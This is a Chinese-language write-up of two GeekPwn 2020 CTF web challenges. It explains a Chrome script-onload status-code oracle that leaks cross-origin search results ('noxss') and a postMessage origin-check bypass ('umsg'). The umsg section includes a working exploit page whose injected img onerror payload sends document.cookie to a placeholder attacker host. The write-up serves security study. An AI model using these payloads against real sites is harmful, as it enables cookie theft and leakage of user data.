作者:LoRexxar'@知道創宇404實驗室
時間:2020年7月14日

前兩天看了今年Geekpwn 2020 云端挑戰賽,web題目涉及到了幾個新時代前端特殊技巧,可能在實戰中利用起來難度比較大,但是從原理上又很符合真實世界的邏輯,這里我們主要以解釋題目為主,但是也探索一下在真實場景下的利用。

Noxss

noxss提供了一個特殊的利用方式,就是當我們沒有反射性xss的觸發點時,配合1-click,哪怕是在真實世界場景并且比較現代前端安全的場景下,還有沒有什么辦法可以泄露頁面內容呢?

從題目開始

首先我們從題目給的源碼出發,主要的代碼有兩個部分

app.py

from flask import Flask, request, jsonify, Response
from os import getenv

app = Flask(__name__)

DATASET = {
    114: '514',
    810: '8931919',
    2017: 'https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup',
    2019: 'https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view',
    2020: 'flag{xxxxxxxx}',
}


# @app.before_request
# def check_host():
#     if request.host != getenv('NOXSS_HOST') or request.remote_addr != getenv('BOT_IP'):
#         return Response(status=403)


@app.route("/")
def index():
    return app.send_static_file('index.html')


@app.route("/search")
def search_handler():
    keyword = request.args.get('keyword')
    if keyword is None:
        return jsonify(DATASET)
    else:
        ret = {}
        for i in DATASET:
            if keyword in DATASET[i]:
                ret[i] = DATASET[i]
        return jsonify(ret), 200 if len(ret) else 404


@app.after_request
def add_security_headers(resp):
    resp.headers['X-Frame-Options'] = 'sameorigin'
    resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['Referrer-Policy'] = 'same-origin'
    return resp


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, )

從代碼里我們可以很明顯的關注到幾個點。

由于服務端限制了訪問的HOST,所以我們只能通過前端的手段去跨源讀取頁面的內容,結合title為noxss,所以我們就是需要找一個前端的辦法去讀取頁面內容。

眾所周知,前端涉及到讀取內容就逃不開同源策略,事實證明,我們沒有任何辦法在不使用0day的情況下獲得跨源站點下的內容,那么我們不妨去探索一下這個場景的特殊性。

1、頁面有無內容的狀態差異

我們聚焦到search這個路由時,可以關注到一個特殊點,當查詢不到內容時,頁面會返回不同的狀態碼

return jsonify(ret), 200 if len(ret) else 404
  • 當查詢到內容時,頁面會返回內容且狀態碼為200
  • 當沒有查詢到內容時,頁面直接返回404

2、加載內容的差異

這里我們關注到index.html引用的uwu.js

let u = new URL(location), p = u.searchParams, k = p.get('keyword') || ''
if ('' === k) history.replaceState('', '', '?keyword=')
axios.get(`/search?keyword=${encodeURIComponent(k)}`).then(resp => {
    result.innerHTML = ''
    for (i of Object.keys(resp.data)) {
        let p = document.createElement('pre')
        p.textContent = resp.data[i]
        result.appendChild(p)
    }
}, err => {
    console.log(err)
    result.innerHTML = '<marquee behavior="alternate"><h1>something is off</h1></marquee><marquee behavior="alternate"><h2>LITERALLY UNPLAYABLE</h2></marquee>'
    result.innerHTML += '<iframe width="560" height="315" src="https://www.youtube.com/embed/lkDUObv5iIU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>'
})

當我們搜索不到內容的時候,頁面會內加載來自于youtube的視頻,只要是加載就會出現時延。

這也是我最初的思路,但是我發現沒辦法得到加載狀態,后來也沒想通這個怎么利用,所以就不了了之了,

結合第一點差異,我們將目標更正為:如何獲得跨源站點的狀態碼差異?

在討論這個問題之前,我們先討論下題目涉及到的幾個保護頭。

安全的http頭

題目中分別設置了多個安全頭,我們一起來看看這幾個頭都代表什么樣的安全屬性。

resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'
  • X-Frame-Options
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/

這個頭限制了當前頁面引用iframe和被iframe引用的情況。

當該值為deny時,該頁面不允許被任何頁面應用也不允許引用任何頁面。 當該值為sameorigin時,該頁面只能引用同源的頁面。

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/X-Frame-Options

  • Content-Security-Policy

這里不花太多筆墨在關于CSP的贅述上,詳細可以看我以前的文章。

https://lorexxar.cn/2017/10/25/csp-paper/

  • X-Content-Type-Options
X-Content-Type-Options: nosniff

下面兩種情況的請求將被阻止: 請求類型是"style" 但是 MIME 類型不是 "text/css", 請求類型是"script" 但是 MIME 類型不是 JavaScript MIME 類型。

在當前場景下也同樣存在這個問題,如果我們嘗試用script加載search頁面來解決跨源問題的話,就會出現返回的application/json類型不匹配js的MIME類型。

  • Referrer-Policy
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

這個頭實際上主要圍繞referer的配置

當被設置為same-origin時,只有在同源請求的時候,才會發送referer信息。

通過返回不同來獲取頁面內容

在我們了解完前面的所有安全配置頭以后,我們很容易發現,從理論上沒辦法繞過并獲取到窗口的dom,但事實是,并不是所有的瀏覽器對于http標準解釋方式一致。

當我們在firefox中試圖加載頁面時,firefox會毫不留情的攔截返回并且不會有任何處理區別。但是在chrome中就有區別了。

當我們構造如下頁面時

<html>
<head>
</head>

<script>

let test1 = document.createElement('script');
test1.src = "http://127.0.0.1:3000/search?keyword=f";
document.head.append(test1);

let test2 = document.createElement('script');
test2.src = "http://127.0.0.1:3000/search?keyword=fa";
document.head.append(test2);


test1.onload = function(){
    alert('1');
}
test2.onload = function(){
    alert('2');
}
</script>

</html>

當我們在chrome下訪問時

和在firefox中不同,chrome會首先判斷返回的狀態碼,并且觸發onload事件,然后才會被CORB所攔截。這樣一來,由于請求返回的差異,我們就可以通過onload事見來判斷請求的返回狀態碼,從而逐位注得flag值。

在NU1L的Wp中還用了win1.frames.length去取open窗口的內的frames數量,這個利用方式涉及到前面提到的第二點,主要是利用了搜索不到內容時,頁面會多出來的iframe標簽來做判斷,比較神奇的是這個屬性居然是不會被CORB攔截的。

具體可以看NU1L的wp https://mp.weixin.qq.com/s/oc6KhO5yU5w6l8oKT-OaEw

umsg

umsg題目涉及到了一個現代前端中很容易出現也很有意思的問題。這個問題最早我是在最后一屆烏云大會上聽#呆子不開口分享的議題中看到了。

這里我們首先看看題目中的關鍵的代碼

mounted: function() {
    window.addEventListener("message", (function(e) {
        if (e.origin.match("http://umsg.iffi.top"))
            switch (e.data.action) {
            case "append":
                return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
            case "debug":
                return void console.log(e.data.payload);
            case "ping":
                return void e.source.postMessage("pong", "*")
            }
    }
    ), !1),
    postMessage({
        action: "ping"
        })
    }

頁面會將收到的消息插入到頁面內,且并沒有什么過濾,所以我們主要需要繞過的是來自于源的限制

if (e.origin.match("http://umsg.iffi.top"))

很明顯可以看出來對對于源得判斷是錯誤的,只校驗了域名頭。

這里我們只要找一個http://umsg.iffi.top.xxx.xxx來構造利用即可。就可以繞過對源的判斷。

利用代碼如下:

<html>
<iframe id="page1" src="http://umsg.iffi.top:3000"></iframe>

<script>

setTimeout(function(){

var page2 = document.getElementById('page1').contentWindow;

page2.postMessage({action:"append", payload:"<img src=/ onerror=\"location.href=\'http://xxxxxxxxxxx?a=\'+document.cookie\">"}, 'http://umsg.iffi.top:3000');
}, 3000);

</script>
</html>

可以看到,現代前端開發過程中,普遍使用postmessage來作為跨源手段,早先前端開發意識不強,來源經常為*,隨著時間的演變,可能還有更多難以識別的問題在不斷產生著,這些問題隨時都有可能演化為一個新的漏洞。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/1270/